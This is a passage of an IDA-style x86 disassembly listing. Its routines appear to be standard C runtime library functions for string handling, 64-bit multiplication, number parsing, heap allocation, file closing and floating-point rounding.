; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415910	proc near		; CODE XREF: sub_4010B2+FCp
					; sub_4010B2+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41595C

loc_415920:				; CODE XREF: sub_415910+3Cj
					; sub_415910+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_415954
		or	al, al
		jz	short loc_415950
		cmp	ah, [ecx+1]
		jnz	short loc_415954
		or	ah, ah
		jz	short loc_415950
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_415954
		or	al, al
		jz	short loc_415950
		cmp	ah, [ecx+3]
		jnz	short loc_415954
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_415920
		mov	edi, edi

loc_415950:				; CODE XREF: sub_415910+18j
					; sub_415910+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_415954:				; CODE XREF: sub_415910+14j
					; sub_415910+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41595C:				; CODE XREF: sub_415910+Ej
		test	edx, 1
		jz	short loc_415978
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_415954
		inc	ecx
		or	al, al
		jz	short loc_415950
		test	edx, 2
		jz	short loc_415920

loc_415978:				; CODE XREF: sub_415910+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_415954
		or	al, al
		jz	short loc_415950
		cmp	ah, [ecx+1]
		jnz	short loc_415954
		or	ah, ah
		jz	short loc_415950
		add	ecx, 2
		jmp	short loc_415920
sub_415910	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4159A0	proc near		; CODE XREF: sub_4010B2+19Ep
					; sub_4018CA+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_4159B9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_4159B9:				; CODE XREF: sub_4159A0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_4159A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159D4	proc near		; CODE XREF: sub_415A5F+4p
					; sub_41E162+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]

loc_4159DC:				; CODE XREF: sub_4159D4+34j
		cmp	dword_437F7C, 1
		jle	short loc_4159F4
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_415A03
; ---------------------------------------------------------------------------

loc_4159F4:				; CODE XREF: sub_4159D4+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_437D70
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_415A03:				; CODE XREF: sub_4159D4+1Ej
		test	eax, eax
		jz	short loc_415A0A
		inc	edi
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------

loc_415A0A:				; CODE XREF: sub_4159D4+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_415A1A
		cmp	esi, 2Bh
		jnz	short loc_415A1E

loc_415A1A:				; CODE XREF: sub_4159D4+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi

loc_415A1E:				; CODE XREF: sub_4159D4+44j
		xor	ebx, ebx

loc_415A20:				; CODE XREF: sub_4159D4+7Bj
		cmp	dword_437F7C, 1
		jle	short loc_415A35
		push	4
		push	esi
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_415A40
; ---------------------------------------------------------------------------

loc_415A35:				; CODE XREF: sub_4159D4+53j
		mov	eax, off_437D70
		mov	al, [eax+esi*2]
		and	eax, 4

loc_415A40:				; CODE XREF: sub_4159D4+5Fj
		test	eax, eax
		jz	short loc_415A51
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_415A20
; ---------------------------------------------------------------------------

loc_415A51:				; CODE XREF: sub_4159D4+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_415A5A
		neg	eax

loc_415A5A:				; CODE XREF: sub_4159D4+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4159D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_415A5F	proc near		; CODE XREF: sub_4013E9+12p
					; sub_4013E9+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4159D4
		pop	ecx
		retn
sub_415A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A6A	proc near		; CODE XREF: sub_401447+318p
					; sub_401BD6+460p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_417D4C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_415AA9
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_415AB6
; ---------------------------------------------------------------------------

loc_415AA9:				; CODE XREF: sub_415A6A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C37
		pop	ecx
		pop	ecx

loc_415AB6:				; CODE XREF: sub_415A6A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415A6A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415AC0	proc near		; CODE XREF: sub_401BD6+2D8p
					; sub_401BD6+2F8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_415B3A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_415B27

loc_415AD8:				; CODE XREF: sub_415AC0+52j
					; sub_415AC0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_415AFA
		test	al, al
		jz	short loc_415AF4

loc_415AE9:				; CODE XREF: sub_415AC0+32j
		mov	al, [esi]
		inc	esi

loc_415AEC:				; CODE XREF: sub_415AC0+3Fj
		cmp	al, dl
		jz	short loc_415AFA
		test	al, al
		jnz	short loc_415AE9

loc_415AF4:				; CODE XREF: sub_415AC0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_415AFA:				; CODE XREF: sub_415AC0+23j
					; sub_415AC0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_415AEC
		lea	edi, [esi-1]

loc_415B04:				; CODE XREF: sub_415AC0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_415B33
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_415AD8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_415B33
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_415B04
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------

loc_415B27:				; CODE XREF: sub_415AC0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_417086
; ---------------------------------------------------------------------------

loc_415B33:				; CODE XREF: sub_415AC0+49j
					; sub_415AC0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_415B3A:				; CODE XREF: sub_415AC0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_415AC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_415B40	proc near		; CODE XREF: sub_40211A+94p
					; sub_405A89+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_415B55
		or	eax, 0FFFFFFFFh
		jmp	short loc_415B8F
; ---------------------------------------------------------------------------

loc_415B55:				; CODE XREF: sub_415B40+Ej
		test	al, 83h
		jz	short loc_415B8D
		push	esi
		call	sub_4186E4
		push	esi
		mov	edi, eax
		call	sub_41867E
		push	dword ptr [esi+10h]
		call	sub_4185CB
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_415B7B
		or	edi, 0FFFFFFFFh
		jmp	short loc_415B8D
; ---------------------------------------------------------------------------

loc_415B7B:				; CODE XREF: sub_415B40+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_415B8D
		push	eax
		call	sub_415E3D
		and	dword ptr [esi+1Ch], 0
		pop	ecx

loc_415B8D:				; CODE XREF: sub_415B40+17j
					; sub_415B40+39j ...
		mov	eax, edi

loc_415B8F:				; CODE XREF: sub_415B40+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_415B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B96	proc near		; CODE XREF: sub_40211A+8Ep
					; sub_40CE55+2A01p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4187B6
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417D4C
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_418843
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_415B96	endp


; =============== S U B	R O U T	I N E =======================================



sub_415BC8	proc near		; CODE XREF: sub_415BE8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_4189F0
		test	eax, eax
		jnz	short loc_415BD2
		retn
; ---------------------------------------------------------------------------

loc_415BD2:				; CODE XREF: sub_415BC8+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418880
		add	esp, 10h
		retn
sub_415BC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415BE8	proc near		; CODE XREF: sub_40211A+54p
					; sub_405A89+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_415BC8
		add	esp, 0Ch
		retn
sub_415BE8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415C00	proc near		; CODE XREF: sub_405B23+2BFp
					; sub_4099AA+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_415C71
sub_415C00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415C10	proc near		; CODE XREF: sub_40211A+32p
					; sub_40211A+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_415C2C

loc_415C1D:				; CODE XREF: sub_415C10+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_415C5F
		test	ecx, 3
		jnz	short loc_415C1D

loc_415C2C:				; CODE XREF: sub_415C10+Bj
					; sub_415C10+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415C2C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_415C6E
		test	ah, ah
		jz	short loc_415C69
		test	eax, 0FF0000h
		jz	short loc_415C64
		test	eax, 0FF000000h
		jz	short loc_415C5F
		jmp	short loc_415C2C
; ---------------------------------------------------------------------------

loc_415C5F:				; CODE XREF: sub_415C10+12j
					; sub_415C10+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_415C71
; ---------------------------------------------------------------------------

loc_415C64:				; CODE XREF: sub_415C10+44j
		lea	edi, [ecx-2]
		jmp	short loc_415C71
; ---------------------------------------------------------------------------

loc_415C69:				; CODE XREF: sub_415C10+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_415C71
; ---------------------------------------------------------------------------

loc_415C6E:				; CODE XREF: sub_415C10+39j
		lea	edi, [ecx-4]

loc_415C71:				; CODE XREF: sub_415C00+5j
					; sub_415C10+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_415C96

loc_415C7D:				; CODE XREF: sub_415C10+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_415CE8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_415C7D
		jmp	short loc_415C96
; ---------------------------------------------------------------------------

loc_415C91:				; CODE XREF: sub_415C10+9Ej
					; sub_415C10+B8j
		mov	[edi], edx
		add	edi, 4

loc_415C96:				; CODE XREF: sub_415C10+6Bj
					; sub_415C10+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415C91
		test	dl, dl
		jz	short loc_415CE8
		test	dh, dh
		jz	short loc_415CDF
		test	edx, 0FF0000h
		jz	short loc_415CD2
		test	edx, 0FF000000h
		jz	short loc_415CCA
		jmp	short loc_415C91
; ---------------------------------------------------------------------------

loc_415CCA:				; CODE XREF: sub_415C10+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_415CD2:				; CODE XREF: sub_415C10+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_415CDF:				; CODE XREF: sub_415C10+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_415CE8:				; CODE XREF: sub_415C10+72j
					; sub_415C10+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_415C10	endp


; =============== S U B	R O U T	I N E =======================================



sub_415CF0	proc near		; CODE XREF: sub_4021FB+1A7p
					; sub_4021FB:loc_4023B5p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_415D10

loc_415CFC:				; CODE XREF: sub_415CF0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_415D43
		test	ecx, 3
		jnz	short loc_415CFC
		add	eax, 0

loc_415D10:				; CODE XREF: sub_415CF0+Aj
					; sub_415CF0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415D10
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_415D61
		test	ah, ah
		jz	short loc_415D57
		test	eax, 0FF0000h
		jz	short loc_415D4D
		test	eax, 0FF000000h
		jz	short loc_415D43
		jmp	short loc_415D10
; ---------------------------------------------------------------------------

loc_415D43:				; CODE XREF: sub_415CF0+11j
					; sub_415CF0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_415D4D:				; CODE XREF: sub_415CF0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_415D57:				; CODE XREF: sub_415CF0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_415D61:				; CODE XREF: sub_415CF0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_415CF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415D70	proc near		; CODE XREF: sub_4024DC+8p
					; sub_402988+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_415D90

loc_415D7C:				; CODE XREF: sub_415D70+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_415D7C

loc_415D90:				; CODE XREF: sub_415D70+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_415D70	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D9F	proc near		; CODE XREF: sub_402FDD+7Ap
					; sub_402FDD+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_415DB3

loc_415DAB:				; CODE XREF: sub_415D9F+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_415DAB

loc_415DB3:				; CODE XREF: sub_415D9F+Aj
		mov	edx, [esp+arg_4]
		push	esi

loc_415DB8:				; CODE XREF: sub_415D9F+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_415DB8
		pop	esi
		retn
sub_415D9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DC9	proc near		; CODE XREF: sub_403178+220p
					; sub_4033CB+C1p ...

arg_0		= dword	ptr  4

		push	dword_4694F4
		push	[esp+4+arg_0]
		call	sub_415DDB
		pop	ecx
		pop	ecx
		retn
sub_415DC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DDB	proc near		; CODE XREF: sub_415DC9+Ap
					; sub_4167C5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_415E04

loc_415DE2:				; CODE XREF: sub_415DDB+27j
		push	[esp+arg_0]
		call	sub_415E07
		test	eax, eax
		pop	ecx
		jnz	short locret_415E06
		cmp	[esp+arg_4], eax
		jz	short locret_415E06
		push	[esp+arg_0]
		call	sub_418A68
		test	eax, eax
		pop	ecx
		jnz	short loc_415DE2

loc_415E04:				; CODE XREF: sub_415DDB+5j
		xor	eax, eax

locret_415E06:				; CODE XREF: sub_415DDB+13j
					; sub_415DDB+19j
		retn
sub_415DDB	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E07	proc near		; CODE XREF: sub_415DDB+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_437F8C
		ja	short loc_415E1F
		push	esi
		call	sub_418E53
		test	eax, eax
		pop	ecx
		jnz	short loc_415E3B

loc_415E1F:				; CODE XREF: sub_415E07+Bj
		test	esi, esi
		jnz	short loc_415E26
		push	1
		pop	esi

loc_415E26:				; CODE XREF: sub_415E07+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_46AB00
		call	dword_42114C	; RtlAllocateHeap

loc_415E3B:				; CODE XREF: sub_415E07+16j
		pop	esi
		retn
sub_415E07	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E3D	proc near		; CODE XREF: sub_4033CB+10Ep
					; sub_4033CB+116p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_415E6A
		push	esi
		call	sub_418AFD
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_415E5C
		push	eax
		call	sub_418B28
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_415E5C:				; CODE XREF: sub_415E3D+13j
		push	0
		push	dword_46AB00
		call	dword_421150	; RtlFreeHeap

loc_415E6A:				; CODE XREF: sub_415E3D+7j
		pop	esi
		retn
sub_415E3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415E6C(double)

sub_415E6C	proc near		; CODE XREF: sub_40465E+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_437D30
		call	sub_419E26
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_415EF2
		call	sub_419CEE
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_415ED5
		cmp	eax, 2
		jle	short loc_415EC7
		cmp	eax, 3
		jnz	short loc_415ED5
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_4195FE
		add	esp, 10h
		jmp	short loc_415F37
; ---------------------------------------------------------------------------

loc_415EC7:				; CODE XREF: sub_415E6C+3Fj
		push	esi
		push	ebx
		call	sub_419E26
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_415F37
; ---------------------------------------------------------------------------

loc_415ED5:				; CODE XREF: sub_415E6C+3Aj
					; sub_415E6C+44j
		fld	[ebp+arg_0]
		fadd	dbl_421670
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_415F2F
; ---------------------------------------------------------------------------

loc_415EF2:				; CODE XREF: sub_415E6C+2Fj
		call	sub_419CB3
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_415F15

loc_415F07:				; CODE XREF: sub_415E6C+ACj
		push	esi
		push	ebx
		call	sub_419E26
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_415F37
; ---------------------------------------------------------------------------

loc_415F15:				; CODE XREF: sub_415E6C+99j
		test	bl, 20h
		jnz	short loc_415F07
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int

loc_415F2F:				; CODE XREF: sub_415E6C+84j
		call	sub_419651
		add	esp, 1Ch

loc_415F37:				; CODE XREF: sub_415E6C+59j
					; sub_415E6C+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_415E6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F3B	proc near		; CODE XREF: sub_4177FA+9p
					; sub_419EEF+21p
					; DATA XREF: ...
		call	sub_415F53
		call	sub_419EEF
		mov	dword_469474, eax
		call	sub_419E9F
		fnclex
		retn
sub_415F3B	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_415F53	proc near		; CODE XREF: sub_415F3Bp
		mov	eax, offset sub_41A2DD
		mov	off_4380AC, offset sub_419F72
		mov	off_4380A8, eax
		mov	off_4380B0, offset sub_419FD8
		mov	off_4380B4, offset sub_419F18
		mov	off_4380B8, offset sub_419FC0
		mov	off_4380BC, eax
		retn
sub_415F53	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F8C	proc near		; CODE XREF: sub_40465E+1Bp
					; sub_40465E+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_415F8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415FB3(double)

sub_415FB3	proc near		; CODE XREF: sub_4046AA+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_437D48
		call	sub_419E26
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_416039
		call	sub_419CEE
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41601C
		cmp	eax, 2
		jle	short loc_41600E
		cmp	eax, 3
		jnz	short loc_41601C
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_4195FE
		add	esp, 10h
		jmp	short loc_41607E
; ---------------------------------------------------------------------------

loc_41600E:				; CODE XREF: sub_415FB3+3Fj
		push	esi
		push	ebx
		call	sub_419E26
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41607E
; ---------------------------------------------------------------------------

loc_41601C:				; CODE XREF: sub_415FB3+3Aj
					; sub_415FB3+44j
		fld	[ebp+arg_0]
		fadd	dbl_421670
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_416076
; ---------------------------------------------------------------------------

loc_416039:				; CODE XREF: sub_415FB3+2Fj
		call	sub_419CB3
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41605C

loc_41604E:				; CODE XREF: sub_415FB3+ACj
		push	esi
		push	ebx
		call	sub_419E26
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41607E
; ---------------------------------------------------------------------------

loc_41605C:				; CODE XREF: sub_415FB3+99j
		test	bl, 20h
		jnz	short loc_41604E
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int

loc_416076:				; CODE XREF: sub_415FB3+84j
		call	sub_419651
		add	esp, 1Ch

loc_41607E:				; CODE XREF: sub_415FB3+59j
					; sub_415FB3+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_415FB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416082	proc near		; CODE XREF: sub_41A74E+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_416082	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_4160B6	proc near		; CODE XREF: sub_41A8FF+199p
					; sub_41AAC3+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_4160B6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4160BD	proc near		; CODE XREF: sub_41A8FF+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
